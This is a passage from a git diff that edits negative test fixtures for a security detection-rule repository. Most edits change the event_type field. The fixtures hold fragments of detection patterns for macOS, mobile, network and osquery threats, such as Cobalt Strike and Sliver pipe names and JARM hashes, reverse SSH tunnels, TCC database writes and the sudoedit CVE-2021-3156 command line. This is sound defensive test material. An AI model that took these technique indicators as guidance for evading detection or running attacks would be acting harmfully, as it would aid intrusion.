"head-/systemextensionsctl"}diff --git a/detections/fixtures/negative/macos-systemsetup-remote-login.json b/detections/fixtures/negative/macos-systemsetup-remote-login.jsonindex ed2c61cb3..ba7b281d4 100644--- a/detections/fixtures/negative/macos-systemsetup-remote-login.json+++ b/detections/fixtures/negative/macos-systemsetup-remote-login.json@@ -1,5 +1,5 @@{"argv": "-setremotelogin on",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/systemsetup"}diff --git a/detections/fixtures/negative/macos-tcc-db-direct-write.json b/detections/fixtures/negative/macos-tcc-db-direct-write.jsonindex 96cc35279..796717108 100644--- a/detections/fixtures/negative/macos-tcc-db-direct-write.json+++ b/detections/fixtures/negative/macos-tcc-db-direct-write.json@@ -1,4 +1,4 @@{- "event_type": "not-ES_EVENT_TYPE_NOTIFY_WRITE",+ "event_type": "http_request","path": "head-/Library/Application Support/com.apple.TCC/TCC.db"}diff --git a/detections/fixtures/negative/macos-tccutil-reset-all.json b/detections/fixtures/negative/macos-tccutil-reset-all.jsonindex e3cd2ab6a..9d599b681 100644--- a/detections/fixtures/negative/macos-tccutil-reset-all.json+++ b/detections/fixtures/negative/macos-tccutil-reset-all.json@@ -1,5 +1,5 @@{"argv": "reset All",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/tccutil"}diff --git a/detections/fixtures/negative/macos-xprotect-disabled.json b/detections/fixtures/negative/macos-xprotect-disabled.jsonindex 9e5be378b..60d15f9bf 100644--- a/detections/fixtures/negative/macos-xprotect-disabled.json+++ b/detections/fixtures/negative/macos-xprotect-disabled.json@@ -1,5 +1,5 @@{"argv": "com.apple.MRT DisableMRTShim",- "event_type": "not-exec",+ "event_type": "http_request","process_path": "head-/defaults"}diff --git a/detections/fixtures/negative/mobile-accessibility-permission-granted.json b/detections/fixtures/negative/mobile-accessibility-permission-granted.jsonindex 65e17b433..f0d0d382b 100644--- a/detections/fixtures/negative/mobile-accessibility-permission-granted.json+++ b/detections/fixtures/negative/mobile-accessibility-permission-granted.json@@ -1,5 +1,5 @@{"app_signed_by_known_publisher": false,- "event_type": "not-permission_grant",+ "event_type": "http_request","permission": "ACCESSIBILITY"}diff --git a/detections/fixtures/negative/mobile-android-root-detected.json b/detections/fixtures/negative/mobile-android-root-detected.jsonindex acc380e04..3db550b78 100644--- a/detections/fixtures/negative/mobile-android-root-detected.json+++ b/detections/fixtures/negative/mobile-android-root-detected.json@@ -1,4 +1,4 @@{- "event_type": "not-compliance",+ "event_type": "http_request","rooted": true}diff --git a/detections/fixtures/negative/mobile-app-sideloaded.json b/detections/fixtures/negative/mobile-app-sideloaded.jsonindex 021a0e8e7..39ed30df9 100644--- a/detections/fixtures/negative/mobile-app-sideloaded.json+++ b/detections/fixtures/negative/mobile-app-sideloaded.json@@ -1,4 +1,4 @@{- "event_type": "not-app_install",+ "event_type": "http_request","source": "unknown"}diff --git a/detections/fixtures/negative/mobile-bluetooth-tethering-public.json b/detections/fixtures/negative/mobile-bluetooth-tethering-public.jsonindex 1749873f7..d56362cc3 100644--- a/detections/fixtures/negative/mobile-bluetooth-tethering-public.json+++ b/detections/fixtures/negative/mobile-bluetooth-tethering-public.json@@ -1,5 +1,5 @@{- "event_type": "not-compliance",+ "event_type": "http_request","geofence_in_restricted_zone": true,"tethering_enabled": true}diff --git a/detections/fixtures/negative/mobile-developer-mode-enabled.json b/detections/fixtures/negative/mobile-developer-mode-enabled.jsonindex 6f311d720..1ae5f66c6 100644--- a/detections/fixtures/negative/mobile-developer-mode-enabled.json+++ b/detections/fixtures/negative/mobile-developer-mode-enabled.json@@ -1,4 +1,4 @@{"developer_mode": true,- "event_type": "not-compliance"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/mobile-find-device-disabled.json b/detections/fixtures/negative/mobile-find-device-disabled.jsonindex ea6c31954..cc44ce6fa 100644--- a/detections/fixtures/negative/mobile-find-device-disabled.json+++ b/detections/fixtures/negative/mobile-find-device-disabled.json@@ -1,4 +1,4 @@{- "event_type": "not-compliance",+ "event_type": "http_request","find_device_enabled": false}diff --git a/detections/fixtures/negative/mobile-google-account-swap.json b/detections/fixtures/negative/mobile-google-account-swap.jsonindex 40ebb6dac..abf4fffb2 100644--- a/detections/fixtures/negative/mobile-google-account-swap.json+++ b/detections/fixtures/negative/mobile-google-account-swap.json@@ -1,4 +1,4 @@{- "event_type": "not-account_change",+ "event_type": "http_request","service": "google"}diff --git a/detections/fixtures/negative/mobile-icloud-account-swap.json b/detections/fixtures/negative/mobile-icloud-account-swap.jsonindex c0a6b7a0c..1d53cda97 100644--- a/detections/fixtures/negative/mobile-icloud-account-swap.json+++ b/detections/fixtures/negative/mobile-icloud-account-swap.json@@ -1,4 +1,4 @@{- "event_type": "not-account_change",+ "event_type": "http_request","service": "icloud"}diff --git a/detections/fixtures/negative/mobile-ios-jailbreak-detected.json b/detections/fixtures/negative/mobile-ios-jailbreak-detected.jsonindex 22c2c635b..de4aca9f5 100644--- a/detections/fixtures/negative/mobile-ios-jailbreak-detected.json+++ b/detections/fixtures/negative/mobile-ios-jailbreak-detected.json@@ -1,4 +1,4 @@{- "event_type": "not-compliance",+ "event_type": "http_request","jailbroken": true}diff --git a/detections/fixtures/negative/mobile-mdm-cert-untrusted.json b/detections/fixtures/negative/mobile-mdm-cert-untrusted.jsonindex 50202abeb..6f26b4300 100644--- a/detections/fixtures/negative/mobile-mdm-cert-untrusted.json+++ b/detections/fixtures/negative/mobile-mdm-cert-untrusted.json@@ -1,4 +1,4 @@{- "event_type": "not-cert_install",+ "event_type": "http_request","trust_level": "user_trusted"}diff --git a/detections/fixtures/negative/mobile-mdm-out-of-compliance.json b/detections/fixtures/negative/mobile-mdm-out-of-compliance.jsonindex 3a1c9da98..41871392c 100644--- a/detections/fixtures/negative/mobile-mdm-out-of-compliance.json+++ b/detections/fixtures/negative/mobile-mdm-out-of-compliance.json@@ -1,4 +1,4 @@{"compliant": false,- "event_type": "not-compliance"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/mobile-mdm-removal-attempt.json b/detections/fixtures/negative/mobile-mdm-removal-attempt.jsonindex 5e7665829..817f47cf6 100644--- a/detections/fixtures/negative/mobile-mdm-removal-attempt.json+++ b/detections/fixtures/negative/mobile-mdm-removal-attempt.json@@ -1,3 +1,3 @@{- "event_type": "not-profile_remove_attempt"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/mobile-network-proxy-configured.json b/detections/fixtures/negative/mobile-network-proxy-configured.jsonindex 2c0080da9..1ccbeb864 100644--- a/detections/fixtures/negative/mobile-network-proxy-configured.json+++ b/detections/fixtures/negative/mobile-network-proxy-configured.json@@ -1,4 +1,4 @@{- "event_type": "not-config_change",+ "event_type": "http_request","key": "http_proxy"}diff --git a/detections/fixtures/negative/mobile-screen-lock-disabled.json b/detections/fixtures/negative/mobile-screen-lock-disabled.jsonindex 395fb932e..da4052fea 100644--- a/detections/fixtures/negative/mobile-screen-lock-disabled.json+++ b/detections/fixtures/negative/mobile-screen-lock-disabled.json@@ -1,4 +1,4 @@{- "event_type": "not-compliance",+ "event_type": "http_request","screen_lock_enabled": false}diff --git a/detections/fixtures/negative/mobile-vpn-app-installed.json b/detections/fixtures/negative/mobile-vpn-app-installed.jsonindex 634041e9a..8e2f451c5 100644--- a/detections/fixtures/negative/mobile-vpn-app-installed.json+++ b/detections/fixtures/negative/mobile-vpn-app-installed.json@@ -1,4 +1,4 @@{"category": "vpn",- "event_type": "not-app_install"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-cloudflared-tunnel-egress.json b/detections/fixtures/negative/net-cloudflared-tunnel-egress.jsonindex 903cf3991..d8e5886ea 100644--- a/detections/fixtures/negative/net-cloudflared-tunnel-egress.json+++ b/detections/fixtures/negative/net-cloudflared-tunnel-egress.json@@ -1,5 +1,5 @@{- "event_type": "not-tls_session",+ "event_type": "http_request","sni": "head-argotunnel.com","src_role": "workstation"}diff --git a/detections/fixtures/negative/net-cobalt-strike-named-pipe.json b/detections/fixtures/negative/net-cobalt-strike-named-pipe.jsonindex 4c2ec35de..88d2ac958 100644--- a/detections/fixtures/negative/net-cobalt-strike-named-pipe.json+++ b/detections/fixtures/negative/net-cobalt-strike-named-pipe.json@@ -1,4 +1,4 @@{- "event_type": "not-smb_pipe",+ "event_type": "http_request","pipe_name": "msagent_"}diff --git a/detections/fixtures/negative/net-dhcp-starvation.json b/detections/fixtures/negative/net-dhcp-starvation.jsonindex 83564432b..22ef6f542 100644--- a/detections/fixtures/negative/net-dhcp-starvation.json+++ b/detections/fixtures/negative/net-dhcp-starvation.json@@ -1,4 +1,4 @@{- "event_type": "not-dhcp",+ "event_type": "http_request","leases_per_minute_per_relay": 300.0}diff --git a/detections/fixtures/negative/net-dns-any-query-spike.json b/detections/fixtures/negative/net-dns-any-query-spike.jsonindex 7295fb6e0..6a2e1e452 100644--- a/detections/fixtures/negative/net-dns-any-query-spike.json+++ b/detections/fixtures/negative/net-dns-any-query-spike.json@@ -1,5 +1,5 @@{"count_5min": 150.0,- "event_type": "not-dns_query",+ "event_type": "http_request","qtype": "ANY"}diff --git a/detections/fixtures/negative/net-dns-dga-shannon.json b/detections/fixtures/negative/net-dns-dga-shannon.jsonindex 8ca2be4e0..452f3a9d3 100644--- a/detections/fixtures/negative/net-dns-dga-shannon.json+++ b/detections/fixtures/negative/net-dns-dga-shannon.json@@ -1,5 +1,5 @@{- "event_type": "not-dns_query",+ "event_type": "http_request","subdomain_entropy": 104.0,"subdomain_length": 116.0}diff --git a/detections/fixtures/negative/net-dns-doh-non-resolver.json b/detections/fixtures/negative/net-dns-doh-non-resolver.jsonindex ed8e0ac1e..a90d9ed75 100644--- a/detections/fixtures/negative/net-dns-doh-non-resolver.json+++ b/detections/fixtures/negative/net-dns-doh-non-resolver.json@@ -1,6 +1,6 @@{"destination_port": 443,- "event_type": "not-tls_session",+ "event_type": "http_request","sanctioned_doh": false,"sni": "head-dns.adguard.com"}diff --git a/detections/fixtures/negative/net-dns-dot-non-resolver.json b/detections/fixtures/negative/net-dns-dot-non-resolver.jsonindex e1cce09c1..706ffbe0a 100644--- a/detections/fixtures/negative/net-dns-dot-non-resolver.json+++ b/detections/fixtures/negative/net-dns-dot-non-resolver.json@@ -1,5 +1,5 @@{"destination_is_internal": false,"destination_port": 853,- "event_type": "not-tls_session"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-dns-fast-flux.json b/detections/fixtures/negative/net-dns-fast-flux.jsonindex c4f117fed..b22117bd4 100644--- a/detections/fixtures/negative/net-dns-fast-flux.json+++ b/detections/fixtures/negative/net-dns-fast-flux.json@@ -1,5 +1,5 @@{"answer_count": 108.0,- "event_type": "not-dns_response",+ "event_type": "http_request","ttl_seconds": -40.0}diff --git a/detections/fixtures/negative/net-dns-idn-homoglyph.json b/detections/fixtures/negative/net-dns-idn-homoglyph.jsonindex 219ecaece..705b0732b 100644--- a/detections/fixtures/negative/net-dns-idn-homoglyph.json+++ b/detections/fixtures/negative/net-dns-idn-homoglyph.json@@ -1,4 +1,4 @@{- "event_type": "not-dns_query",+ "event_type": "http_request","homoglyph_score": 100.85}diff --git a/detections/fixtures/negative/net-dns-large-txt-response.json b/detections/fixtures/negative/net-dns-large-txt-response.jsonindex 19e33490c..74e242ebd 100644--- a/detections/fixtures/negative/net-dns-large-txt-response.json+++ b/detections/fixtures/negative/net-dns-large-txt-response.json@@ -1,5 +1,5 @@{- "event_type": "not-dns_response",+ "event_type": "http_request","qtype": "TXT","response_size_bytes": 612.0}diff --git a/detections/fixtures/negative/net-dns-newly-registered-domain.json b/detections/fixtures/negative/net-dns-newly-registered-domain.jsonindex 42dccdad8..1532173ec 100644--- a/detections/fixtures/negative/net-dns-newly-registered-domain.json+++ b/detections/fixtures/negative/net-dns-newly-registered-domain.json@@ -1,4 +1,4 @@{"domain_age_days": -93.0,- "event_type": "not-dns_query"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-dns-nxdomain-spike.json b/detections/fixtures/negative/net-dns-nxdomain-spike.jsonindex 3421f2fa6..6dc146a88 100644--- a/detections/fixtures/negative/net-dns-nxdomain-spike.json+++ b/detections/fixtures/negative/net-dns-nxdomain-spike.json@@ -1,6 +1,6 @@{"count_5min": 300.0,- "event_type": "not-dns_response",+ "event_type": "http_request","rcode": "NXDOMAIN","src_role": "endpoint"}diff --git a/detections/fixtures/negative/net-dns-rebinding.json b/detections/fixtures/negative/net-dns-rebinding.jsonindex 31636461c..286a7e2bf 100644--- a/detections/fixtures/negative/net-dns-rebinding.json+++ b/detections/fixtures/negative/net-dns-rebinding.json@@ -1,4 +1,4 @@{- "event_type": "not-dns_response",+ "event_type": "http_request","rebinding_detected": true}diff --git a/detections/fixtures/negative/net-dns-tor-onion.json b/detections/fixtures/negative/net-dns-tor-onion.jsonindex a6e5103a9..6be902cbf 100644--- a/detections/fixtures/negative/net-dns-tor-onion.json+++ b/detections/fixtures/negative/net-dns-tor-onion.json@@ -1,4 +1,4 @@{"domain": "head-.onion",- "event_type": "not-dns_query"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-dns-tunnel-pattern-len.json b/detections/fixtures/negative/net-dns-tunnel-pattern-len.jsonindex 7d64a497c..18d269bb7 100644--- a/detections/fixtures/negative/net-dns-tunnel-pattern-len.json+++ b/detections/fixtures/negative/net-dns-tunnel-pattern-len.json@@ -1,5 +1,5 @@{- "event_type": "not-dns_query",+ "event_type": "http_request","subdomain_hex_ratio": 100.9,"subdomain_length": 130.0}diff --git a/detections/fixtures/negative/net-empire-default-uri.json b/detections/fixtures/negative/net-empire-default-uri.jsonindex 9c0162fb3..775a6e706 100644--- a/detections/fixtures/negative/net-empire-default-uri.json+++ b/detections/fixtures/negative/net-empire-default-uri.json@@ -1,4 +1,4 @@{- "event_type": "not-http_request",+ "event_type": "session_validate","uri": "head-/admin/get.php"}diff --git a/detections/fixtures/negative/net-gre-from-non-network-device.json b/detections/fixtures/negative/net-gre-from-non-network-device.jsonindex 8ef6cdcd4..222f176d3 100644--- a/detections/fixtures/negative/net-gre-from-non-network-device.json+++ b/detections/fixtures/negative/net-gre-from-non-network-device.json@@ -1,5 +1,5 @@{- "event_type": "not-flow",+ "event_type": "http_request","protocol_number": 47,"src_role": "workstation"}diff --git a/detections/fixtures/negative/net-http-connect-public-ip.json b/detections/fixtures/negative/net-http-connect-public-ip.jsonindex 2a0a35d7c..625622a50 100644--- a/detections/fixtures/negative/net-http-connect-public-ip.json+++ b/detections/fixtures/negative/net-http-connect-public-ip.json@@ -1,5 +1,5 @@{"destination_is_internal": false,- "event_type": "not-http_request",+ "event_type": "session_validate","method": "CONNECT"}diff --git a/detections/fixtures/negative/net-http-gzip-mime-mismatch.json b/detections/fixtures/negative/net-http-gzip-mime-mismatch.jsonindex ea3f78d82..b0eff7459 100644--- a/detections/fixtures/negative/net-http-gzip-mime-mismatch.json+++ b/detections/fixtures/negative/net-http-gzip-mime-mismatch.json@@ -1,6 +1,6 @@{"content_encoding": "gzip",- "event_type": "not-http_response",+ "event_type": "http_request","filename": "head-.jpg","mime_type": "application/octet-stream"}diff --git a/detections/fixtures/negative/net-http-host-header-ip.json b/detections/fixtures/negative/net-http-host-header-ip.jsonindex be2674807..13dc9e876 100644--- a/detections/fixtures/negative/net-http-host-header-ip.json+++ b/detections/fixtures/negative/net-http-host-header-ip.json@@ -1,4 +1,4 @@{- "event_type": "not-http_request",+ "event_type": "session_validate","host_is_ip_literal": true}diff --git a/detections/fixtures/negative/net-http-large-post-from-workstation.json b/detections/fixtures/negative/net-http-large-post-from-workstation.jsonindex 11326c5b8..662f88612 100644--- a/detections/fixtures/negative/net-http-large-post-from-workstation.json+++ b/detections/fixtures/negative/net-http-large-post-from-workstation.json@@ -1,6 +1,6 @@{"destination_is_internal": false,- "event_type": "not-http_request",+ "event_type": "session_validate","method": "POST","request_size_bytes": 50000100.0,"src_role": "workstation"diff --git a/detections/fixtures/negative/net-http-userag-curl-internal.json b/detections/fixtures/negative/net-http-userag-curl-internal.jsonindex 3e3913a02..4cd0b868d 100644--- a/detections/fixtures/negative/net-http-userag-curl-internal.json+++ b/detections/fixtures/negative/net-http-userag-curl-internal.json@@ -1,5 +1,5 @@{- "event_type": "not-http_request",+ "event_type": "session_validate","src_role": "workstation","user_agent": "curl/-tail"}diff --git a/detections/fixtures/negative/net-http-userag-powershell.json b/detections/fixtures/negative/net-http-userag-powershell.jsonindex 5977bde70..c287880f5 100644--- a/detections/fixtures/negative/net-http-userag-powershell.json+++ b/detections/fixtures/negative/net-http-userag-powershell.json@@ -1,4 +1,4 @@{- "event_type": "not-http_request",+ "event_type": "session_validate","user_agent": "prefix-WindowsPowerShell-suffix"}diff --git a/detections/fixtures/negative/net-icmp-high-entropy-payload.json b/detections/fixtures/negative/net-icmp-high-entropy-payload.jsonindex 9870aa62e..3280708e2 100644--- a/detections/fixtures/negative/net-icmp-high-entropy-payload.json+++ b/detections/fixtures/negative/net-icmp-high-entropy-payload.json@@ -1,5 +1,5 @@{- "event_type": "not-icmp",+ "event_type": "http_request","payload_entropy": 107.5,"payload_size_bytes": 164.0}diff --git a/detections/fixtures/negative/net-icmp-large-payload.json b/detections/fixtures/negative/net-icmp-large-payload.jsonindex b4ee0f1b6..493ef83ec 100644--- a/detections/fixtures/negative/net-icmp-large-payload.json+++ b/detections/fixtures/negative/net-icmp-large-payload.json@@ -1,4 +1,4 @@{- "event_type": "not-icmp",+ "event_type": "http_request","payload_size_bytes": 1124.0}diff --git a/detections/fixtures/negative/net-jarm-cobalt-strike.json b/detections/fixtures/negative/net-jarm-cobalt-strike.jsonindex 301767d2a..3a7a76512 100644--- a/detections/fixtures/negative/net-jarm-cobalt-strike.json+++ b/detections/fixtures/negative/net-jarm-cobalt-strike.json@@ -1,4 +1,4 @@{- "event_type": "not-tls_session",+ "event_type": "http_request","jarm": "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1"}diff --git a/detections/fixtures/negative/net-jarm-sliver.json b/detections/fixtures/negative/net-jarm-sliver.jsonindex 9dfe4f3a3..f1598152f 100644--- a/detections/fixtures/negative/net-jarm-sliver.json+++ b/detections/fixtures/negative/net-jarm-sliver.json@@ -1,4 +1,4 @@{- "event_type": "not-tls_session",+ "event_type": "http_request","jarm": "3fd3fd0003fd3fd03fd3fd3fd3fd3fd3a458a375eef0c576d23a7bab9a9fb1"}diff --git a/detections/fixtures/negative/net-ldap-bloodhound-pattern.json b/detections/fixtures/negative/net-ldap-bloodhound-pattern.jsonindex 512b21d7f..1aef413ed 100644--- a/detections/fixtures/negative/net-ldap-bloodhound-pattern.json+++ b/detections/fixtures/negative/net-ldap-bloodhound-pattern.json@@ -1,5 +1,5 @@{- "event_type": "not-ldap_search",+ "event_type": "http_request","filter": "prefix-objectCategory=group-suffix","search_count_5min": 200.0}diff --git a/detections/fixtures/negative/net-ntlm-relay-pattern.json b/detections/fixtures/negative/net-ntlm-relay-pattern.jsonindex 733863448..734575ca4 100644--- a/detections/fixtures/negative/net-ntlm-relay-pattern.json+++ b/detections/fixtures/negative/net-ntlm-relay-pattern.json@@ -1,4 +1,4 @@{"challenge_reused_across_hosts": true,- "event_type": "not-ntlm_auth"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-radius-pap-clear.json b/detections/fixtures/negative/net-radius-pap-clear.jsonindex da4d94479..5ede35abd 100644--- a/detections/fixtures/negative/net-radius-pap-clear.json+++ b/detections/fixtures/negative/net-radius-pap-clear.json@@ -1,4 +1,4 @@{"auth_method": "PAP",- "event_type": "not-radius_auth"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-rpc-remote-registry.json b/detections/fixtures/negative/net-rpc-remote-registry.jsonindex 32dcd67d2..cd610ae02 100644--- a/detections/fixtures/negative/net-rpc-remote-registry.json+++ b/detections/fixtures/negative/net-rpc-remote-registry.json@@ -1,5 +1,5 @@{- "event_type": "not-rpc_call",+ "event_type": "http_request","interface": "winreg","operation": "BaseRegSetValue","src_role": "workstation"diff --git a/detections/fixtures/negative/net-rpc-task-scheduler-remote.json b/detections/fixtures/negative/net-rpc-task-scheduler-remote.jsonindex 66a983fe0..deaccb034 100644--- a/detections/fixtures/negative/net-rpc-task-scheduler-remote.json+++ b/detections/fixtures/negative/net-rpc-task-scheduler-remote.json@@ -1,5 +1,5 @@{- "event_type": "not-rpc_call",+ "event_type": "http_request","interface": "atsvc","src_role": "workstation"}diff --git a/detections/fixtures/negative/net-sliver-named-pipe.json b/detections/fixtures/negative/net-sliver-named-pipe.jsonindex 751aa58f3..43de888c7 100644--- a/detections/fixtures/negative/net-sliver-named-pipe.json+++ b/detections/fixtures/negative/net-sliver-named-pipe.json@@ -1,4 +1,4 @@{- "event_type": "not-smb_pipe",+ "event_type": "http_request","pipe_name": "sliver_-tail"}diff --git a/detections/fixtures/negative/net-smb-write-netlogon.json b/detections/fixtures/negative/net-smb-write-netlogon.jsonindex a86069542..22f140f02 100644--- a/detections/fixtures/negative/net-smb-write-netlogon.json+++ b/detections/fixtures/negative/net-smb-write-netlogon.json@@ -1,4 +1,4 @@{- "event_type": "not-smb_write",+ "event_type": "http_request","share_name": "NETLOGON"}diff --git a/detections/fixtures/negative/net-smbv1-egress.json b/detections/fixtures/negative/net-smbv1-egress.jsonindex 6eaf645f2..71cfcf4e1 100644--- a/detections/fixtures/negative/net-smbv1-egress.json+++ b/detections/fixtures/negative/net-smbv1-egress.json@@ -1,4 +1,4 @@{"dialect": "SMB 1.0",- "event_type": "not-smb_negotiate"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-ssh-reverse-tunnel.json b/detections/fixtures/negative/net-ssh-reverse-tunnel.jsonindex 77d1b40f8..ba6d98a1e 100644--- a/detections/fixtures/negative/net-ssh-reverse-tunnel.json+++ b/detections/fixtures/negative/net-ssh-reverse-tunnel.json@@ -1,4 +1,4 @@{"argv": "prefix--R-suffix",- "event_type": "not-ssh_command"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-stp-topology-change-from-edge.json b/detections/fixtures/negative/net-stp-topology-change-from-edge.jsonindex 4d21020ad..bcb9cc4f3 100644--- a/detections/fixtures/negative/net-stp-topology-change-from-edge.json+++ b/detections/fixtures/negative/net-stp-topology-change-from-edge.json@@ -1,4 +1,4 @@{- "event_type": "not-stp_tcn",+ "event_type": "http_request","ingress_port_role": "edge"}diff --git a/detections/fixtures/negative/net-tls-no-sni.json b/detections/fixtures/negative/net-tls-no-sni.jsonindex 97ab7a239..4008d6654 100644--- a/detections/fixtures/negative/net-tls-no-sni.json+++ b/detections/fixtures/negative/net-tls-no-sni.json@@ -1,5 +1,5 @@{"destination_is_internal": false,- "event_type": "not-tls_session",+ "event_type": "http_request","sni_present": false}diff --git a/detections/fixtures/negative/net-tls-old-client-version.json b/detections/fixtures/negative/net-tls-old-client-version.jsonindex 8ef95683d..25301ee7b 100644--- a/detections/fixtures/negative/net-tls-old-client-version.json+++ b/detections/fixtures/negative/net-tls-old-client-version.json@@ -1,4 +1,4 @@{"client_version": "TLSv1.0",- "event_type": "not-tls_session"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-tls-self-signed-egress.json b/detections/fixtures/negative/net-tls-self-signed-egress.jsonindex 263194ee6..edeb7ab2a 100644--- a/detections/fixtures/negative/net-tls-self-signed-egress.json+++ b/detections/fixtures/negative/net-tls-self-signed-egress.json@@ -1,5 +1,5 @@{"cert_self_signed": true,"destination_is_internal": false,- "event_type": "not-tls_session"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-tls-suspicious-cipher.json b/detections/fixtures/negative/net-tls-suspicious-cipher.jsonindex c43b88046..f45a37491 100644--- a/detections/fixtures/negative/net-tls-suspicious-cipher.json+++ b/detections/fixtures/negative/net-tls-suspicious-cipher.json@@ -1,4 +1,4 @@{- "event_type": "not-tls_session",+ "event_type": "http_request","negotiated_cipher": "prefix-NULL-suffix"}diff --git a/detections/fixtures/negative/net-tor-egress-corp.json b/detections/fixtures/negative/net-tor-egress-corp.jsonindex c712b256b..79249389b 100644--- a/detections/fixtures/negative/net-tor-egress-corp.json+++ b/detections/fixtures/negative/net-tor-egress-corp.json@@ -1,5 +1,5 @@{"destination_in_known_tor_relay": true,- "event_type": "not-tls_session",+ "event_type": "http_request","src_role": "workstation"}diff --git a/detections/fixtures/negative/net-tor-introduction-onion.json b/detections/fixtures/negative/net-tor-introduction-onion.jsonindex 673298076..05ed0f113 100644--- a/detections/fixtures/negative/net-tor-introduction-onion.json+++ b/detections/fixtures/negative/net-tor-introduction-onion.json@@ -1,4 +1,4 @@{"circuit_purpose": "HS_CLIENT_INTRO",- "event_type": "not-tor_circuit_intro"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/net-vpn-from-datacenter.json b/detections/fixtures/negative/net-vpn-from-datacenter.jsonindex 53499acda..a903fdbc5 100644--- a/detections/fixtures/negative/net-vpn-from-datacenter.json+++ b/detections/fixtures/negative/net-vpn-from-datacenter.json@@ -1,4 +1,4 @@{- "event_type": "not-vpn_auth",+ "event_type": "http_request","src_asn_type": "hosting"}diff --git a/detections/fixtures/negative/net-winrm-ssl-from-workstation.json b/detections/fixtures/negative/net-winrm-ssl-from-workstation.jsonindex c3dbe7b11..b83e8befe 100644--- a/detections/fixtures/negative/net-winrm-ssl-from-workstation.json+++ b/detections/fixtures/negative/net-winrm-ssl-from-workstation.json@@ -1,6 +1,6 @@{"destination_port": 5985,"destination_role": "domain-controller",- "event_type": "not-flow",+ "event_type": "http_request","src_role": "workstation"}diff --git a/detections/fixtures/negative/net-wireguard-handshake-from-user.json b/detections/fixtures/negative/net-wireguard-handshake-from-user.jsonindex 491c5856c..f8cc60a6a 100644--- a/detections/fixtures/negative/net-wireguard-handshake-from-user.json+++ b/detections/fixtures/negative/net-wireguard-handshake-from-user.json@@ -1,5 +1,5 @@{"destination_port": 51820,- "event_type": "not-flow",+ "event_type": "http_request","src_role": "workstation"}diff --git a/detections/fixtures/negative/osquery-linux-auditd-service-stop.json b/detections/fixtures/negative/osquery-linux-auditd-service-stop.jsonindex 3add488a1..e28844659 100644--- a/detections/fixtures/negative/osquery-linux-auditd-service-stop.json+++ b/detections/fixtures/negative/osquery-linux-auditd-service-stop.json@@ -1,4 +1,4 @@{"cmdline": "prefix-service osqueryd stop-suffix",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-linux-baron-samedit-cve-2021-3156.json b/detections/fixtures/negative/osquery-linux-baron-samedit-cve-2021-3156.jsonindex e4181464c..1a0e38e27 100644--- a/detections/fixtures/negative/osquery-linux-baron-samedit-cve-2021-3156.json+++ b/detections/fixtures/negative/osquery-linux-baron-samedit-cve-2021-3156.json@@ -1,4 +1,4 @@{"cmdline": "sudoedit -s -tail",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-account-created.json b/detections/fixtures/negative/osquery-macos-account-created.jsonindex ab88abbe4..9f9061e3a 100644--- a/detections/fixtures/negative/osquery-macos-account-created.json+++ b/detections/fixtures/negative/osquery-macos-account-created.json@@ -1,4 +1,4 @@{"cmdline": "prefix-sysadminctl -addUser-suffix",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-amos-stealer-vm-check.json b/detections/fixtures/negative/osquery-macos-amos-stealer-vm-check.jsonindex ee99d47ab..97c79c30a 100644--- a/detections/fixtures/negative/osquery-macos-amos-stealer-vm-check.json+++ b/detections/fixtures/negative/osquery-macos-amos-stealer-vm-check.json@@ -1,4 +1,4 @@{"cmdline": "osascriptsystem_profilerVMware",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-data-chunking.json b/detections/fixtures/negative/osquery-macos-data-chunking.jsonindex c8aa95798..b0d347201 100644--- a/detections/fixtures/negative/osquery-macos-data-chunking.json+++ b/detections/fixtures/negative/osquery-macos-data-chunking.json@@ -1,4 +1,4 @@{"cmdline": "prefix-dd if=-suffix",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-gatekeeper-bypass.json b/detections/fixtures/negative/osquery-macos-gatekeeper-bypass.jsonindex a446afa47..d01200217 100644--- a/detections/fixtures/negative/osquery-macos-gatekeeper-bypass.json+++ b/detections/fixtures/negative/osquery-macos-gatekeeper-bypass.json@@ -1,4 +1,4 @@{"cmdline": "prefix-com.apple.quarantine-suffix",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-hidden-file-directory.json b/detections/fixtures/negative/osquery-macos-hidden-file-directory.jsonindex 30b77d664..ff73ee683 100644--- a/detections/fixtures/negative/osquery-macos-hidden-file-directory.json+++ b/detections/fixtures/negative/osquery-macos-hidden-file-directory.json@@ -1,4 +1,4 @@{"cmdline": "prefix-chflags hidden-suffix",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-kextload.json b/detections/fixtures/negative/osquery-macos-kextload.jsonindex 0289b24d0..80dbb6647 100644--- a/detections/fixtures/negative/osquery-macos-kextload.json+++ b/detections/fixtures/negative/osquery-macos-kextload.json@@ -1,4 +1,4 @@{- "event_type": "not-osquery_query_row",+ "event_type": "http_request","name": "kextload"}diff --git a/detections/fixtures/negative/osquery-macos-keyboard-event-tap.json b/detections/fixtures/negative/osquery-macos-keyboard-event-tap.jsonindex 56cc59798..13d1fa6bc 100644--- a/detections/fixtures/negative/osquery-macos-keyboard-event-tap.json+++ b/detections/fixtures/negative/osquery-macos-keyboard-event-tap.json@@ -1,4 +1,4 @@{- "event_type": 